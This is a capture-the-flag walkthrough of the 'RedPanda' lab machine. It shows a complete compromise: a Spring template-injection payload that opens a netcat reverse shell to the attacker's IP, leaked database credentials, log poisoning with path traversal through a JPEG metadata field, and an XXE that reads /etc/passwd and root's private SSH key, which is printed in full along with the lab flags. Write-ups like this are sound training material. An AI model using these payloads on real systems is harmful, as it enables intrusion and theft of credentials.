RedPanda
Recon
HTTP (8080)
We have only "Search For Pandas" which is reflected to us right away, when I tried SSTI payload it got denied.

${7*7} -> Blocked
{{7*7}} -> Not Blocked
If we go to random path application gives us Whitelabel Error Page -> Spring Boot Remove Whitelabel Error Page
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#spring-framework-java
*{7*7}
returns 49, SSTI confirmed

Get reverse shell
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('busybox nc 10.10.14.113 4444 -e /bin/bash').getInputStream())}
Reverse Shell (woodenk)
└─$ pwncat-cs -lp 4444
[07:39:05] 10.129.227.207:46968: registered new host w/ db manager.py:957
(local) pwncat$
(remote) woodenk@redpanda:/tmp/hsperfdata_woodenk$ id
uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)
User.txt
(remote) woodenk@redpanda:/home/woodenk$ cat user.txt
19c0bd3f046fc3457b72a9bde1ec0833
SSH (22) (woodenk)
Upgrade shell to SSH
└─$ ssh-keygen -f id_rsa -P x -q && cat id_rsa.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDHPusT1r2hlpiH5tU9+UdXdGcEfOZj+XS6EPdUeIkxx woyag@kraken
---
(remote) woodenk@redpanda:/home/woodenk$ mkdir ~/.ssh; echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDHPusT1r2hlpiH5tU9+UdXdGcEfOZj+XS6EPdUeIkxx woyag@kraken' > ~/.ssh/authorized_keys; chown $USER:$USER -R ~/.ssh
---
└─$ ssh woodenk@10.129.227.207 -i id_rsa
woodenk@redpanda:~$ id
uid=1000(woodenk) gid=1000(woodenk) groups=1000(woodenk)
Hmm... User is no longer part of logs
group from SSH login.
woodenk@redpanda:/opt/panda_search/src/main/java/com/panda_search/htb/panda_search$ cat MainController.java | grep Driver
Class.forName("com.mysql.cj.jdbc.Driver");
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");
woodenk@redpanda:/opt/panda_search/src/main/java/com/panda_search/htb/panda_search$ sudo -l
Sorry, user woodenk may not run sudo on redpanda.
Privilege Escalation
There's some cleanup script in the /opt
so some service or user is running these as cronjob (probably). /etc/crontabs
is empty so can't determine script.
woodenk@redpanda:/opt$ cat cleanup.sh
#!/bin/bash
/usr/bin/find /tmp -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /var/tmp -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /dev/shm -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /home/woodenk -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /tmp -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /var/tmp -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /dev/shm -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /home/woodenk -name "*.jpg" -exec rm -rf {} \;
Download pspy and observe the processes
└─$ scp -i id_rsa /opt/scripts/enum/pspy64 woodenk@10.129.227.207:/tmp/pspy
---
woodenk@redpanda:/opt$ chmod +x /tmp/pspy
woodenk@redpanda:/opt$ /tmp/pspy
...
2024/12/13 13:00:05 CMD: UID=0 PID=1 | /sbin/init maybe-ubiquity
2024/12/13 13:02:01 CMD: UID=0 PID=2259 | /usr/sbin/CRON -f
2024/12/13 13:02:01 CMD: UID=0 PID=2261 | /bin/sh /root/run_credits.sh
2024/12/13 13:02:01 CMD: UID=0 PID=2260 | /bin/sh -c /root/run_credits.sh
2024/12/13 13:02:01 CMD: UID=0 PID=2262 | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar
2024/12/13 13:02:06 CMD: UID=0 PID=2280 | run-parts --list /etc/dhcp/dhclient-enter-hooks.d
2024/12/13 13:02:06 CMD: UID=0 PID=2279 | /bin/sh /sbin/dhclient-script
2024/12/13 13:02:06 CMD: UID=0 PID=2283 | systemctl is-enabled systemd-resolved
2024/12/13 13:02:06 CMD: UID=0 PID=2284 | ip -4 addr change 10.129.227.207/255.255.0.0 broadcast 10.129.255.255 valid_lft 3600 preferred_lft 3600 dev eth0 label eth0
2024/12/13 13:02:06 CMD: UID=0 PID=2286 | mktemp
2024/12/13 13:02:06 CMD: UID=0 PID=2287 | /bin/sh /sbin/dhclient-script
2024/12/13 13:02:06 CMD: UID=0 PID=2288 | cat
2024/12/13 13:02:06 CMD: UID=0 PID=2289 |
2024/12/13 13:02:06 CMD: UID=0 PID=2290 | md5sum /run/systemd/resolved.conf.d/isc-dhcp-v4-eth0.conf /run/systemd/resolved.conf.d/isc-dhcp-v6-eth0.conf
2024/12/13 13:02:06 CMD: UID=0 PID=2292 | rm /tmp/tmp.rZFR4gK0Gv
2024/12/13 13:02:06 CMD: UID=0 PID=2293 | rm /tmp/tmp.NHcPTBYKtY
...
View the source:
woodenk @redpanda: /opt/credit-score/LogParser/final/src/main/java/com/logparser$ cat App.java
package com.logparser;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
import com.drew.imaging.jpeg.JpegMetadataReader;
import com.drew.imaging.jpeg.JpegProcessingException;
import com.drew.metadata.Directory;
import com.drew.metadata.Metadata;
import com.drew.metadata.Tag;
import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import org.jdom2.output.Format;
import org.jdom2.output.XMLOutputter;
import org.jdom2.*;
public class App {
public static Map parseLog(String line) {
String[] strings = line.split("\\|\\|");
Map map = new HashMap<>();
map.put("status_code", Integer.parseInt(strings[0]));
map.put("ip", strings[1]);
map.put("user_agent", strings[2]);
map.put("uri", strings[3]);
return map;
}
public static boolean isImage(String filename) { return filename.contains(".jpg"); }
public static String getArtist(String uri) throws IOException, JpegProcessingException {
String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
File jpgFile = new File(fullpath);
Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
for (Directory dir: metadata.getDirectories()) {
for (Tag tag: dir.getTags()) {
if (tag.getTagName() == "Artist") {
return tag.getDescription();
}
}
}
return "N/A";
}
public static void addViewTo(String path, String uri) throws JDOMException, IOException {
SAXBuilder saxBuilder = new SAXBuilder();
XMLOutputter xmlOutput = new XMLOutputter();
xmlOutput.setFormat(Format.getPrettyFormat());
File fd = new File(path);
Document doc = saxBuilder.build(fd);
Element rootElement = doc.getRootElement();
for (Element el: rootElement.getChildren()) {
if (el.getName() == "image") {
if (el.getChild("uri").getText().equals(uri)) {
Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
System.out.println("Total views:" + Integer.toString(totalviews));
rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
Integer views = Integer.parseInt(el.getChild("views").getText());
el.getChild("views").setText(Integer.toString(views + 1));
}
}
}
BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
xmlOutput.output(doc, writer);
}
public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
File log_fd = new File("/opt/panda_search/redpanda.log");
Scanner log_reader = new Scanner(log_fd);
while (log_reader.hasNextLine()) {
String line = log_reader.nextLine();
if (!isImage(line)) { continue; }
Map parsed_data = parseLog(line);
System.out.println(parsed_data.get("uri"));
String artist = getArtist(parsed_data.get("uri").toString());
System.out.println("Artist: " + artist);
String xmlPath = "/credits/" + artist + "_creds.xml";
addViewTo(xmlPath, parsed_data.get("uri").toString());
}
}
}
The log looks like following
woodenk@redpanda:/opt/panda_search$ cat redpanda.log
200||10.10.14.113||Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36||/search
200||10.10.14.113||Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36||/search
405||10.10.14.113||Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36||/error
405||10.10.14.113||Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36||/error
The program only processes lines that has .jpg
in the URL. Then it's parsing lines by splitting line on ||
and create dictionary. Then it's going to get artist based on Artist
attribute from image metadata and it's going to parse that XML.
Available images:
woodenk@redpanda:/opt/panda_search/src/main/resources/static/img$ ls -lh
total 3.5M
-rw-rw-r-- 1 root root 219K Feb 21 2022 angy.jpg
-rw-rw-r-- 1 root root 1.1M Jun 20 2022 crafty.jpg
-rw-rw-r-- 1 root root 109K Feb 21 2022 florida.jpg
-rw-rw-r-- 1 root root 101K Feb 21 2022 greg.jpg
-rw-rw-r-- 1 root root 636K Feb 21 2022 hungy.jpg
-rw-rw-r-- 1 root root 833K Feb 21 2022 lazy.jpg
-rw-rw-r-- 1 root root 70K Feb 21 2022 mr_puffy.jpg
-rw-r--r-- 1 root root 32K Jun 20 2022 peter.jpg
-rw-rw-r-- 1 root root 45K Feb 21 2022 shy.jpg
-rw-rw-r-- 1 root root 196K Feb 21 2022 smiley.jpg
-rw-rw-r-- 1 root root 192K Feb 21 2022 smooch.jpg
---
└─$ curl -LOs http://10.129.227.207:8080/img/angy.jpg
└─$ exiftool angy.jpg | grep Artist
Artist : damian
(remote) woodenk@redpanda:/credits$ ls
damian_creds.xml woodenk_creds.xml
(remote) woodenk@redpanda:/credits$ cat damian_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<credits>
<author>damian</author>
<image>
<uri>/img/angy.jpg</uri>
<views>2</views>
</image>
<image>
<uri>/img/shy.jpg</uri>
<views>0</views>
</image>
<image>
<uri>/img/crafty.jpg</uri>
<views>0</views>
</image>
<image>
<uri>/img/peter.jpg</uri>
<views>0</views>
</image>
<totalviews>2</totalviews>
</credits>
Note: We have access to this directory from Reverse Shell, because that session is part of
logs
group.
Create malicious jpg image
└─$ mv angy.jpg letmein.jpg
└─$ exiftool -Artist='../tmp/letmein' letmein.jpg
└─$ exiftool letmein.jpg | grep Artist
Artist : ../tmp/letmein
└─$ sshpass -p 'RedPandazRule' scp letmein.jpg woodenk@10.129.227.207:/tmp/letmein.jpg
Create malicious XML: https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity#read-file
(remote) woodenk@redpanda:/credits$ nano /tmp/letmein_creds.xml
(remote) woodenk@redpanda:/credits$ cat /tmp/letmein_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<credits>
<author>letmein</author>
<image>
<uri>/../../../../../../../tmp/letmein.jpg</uri>
<views>2</views>
<data>&example;</data>
</image>
<totalviews>2</totalviews>
</credits>
Poison the log:
(remote) woodenk@redpanda:/credits$ echo '200||10.10.14.113||Mozilla||/../../../../../../../tmp/letmein.jpg' > /opt/panda_search/redpanda.log
After cronjob runs:
(remote) woodenk@redpanda:/tmp$ cat /tmp/letmein_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo>
<credits>
<author>letmein</author>
<image>
<uri>/../../../../../../../tmp/letmein.jpg</uri>
<views>3</views>
<data>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
woodenk:x:1000:1000:,,,:/home/woodenk:/bin/bash
mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false</data>
</image>
<totalviews>3</totalviews>
</credits>
We have LFI as root, let's try leaking the SSH key (if it exists)
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/root/.ssh/id_rsa"> ]>
<data>
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----
</data>
└─$ nano root.id_rsa
└─$ chmod 600 root.id_rsa
└─$ ssh root@10.129.227.207 -i root.id_rsa
root@redpanda:~# id
uid=0(root) gid=0(root) groups=0(root)
Root.txt
root@redpanda:~# cat /root/root.txt
52c00ae262250ac2e253b1f16b38a5da
Last updated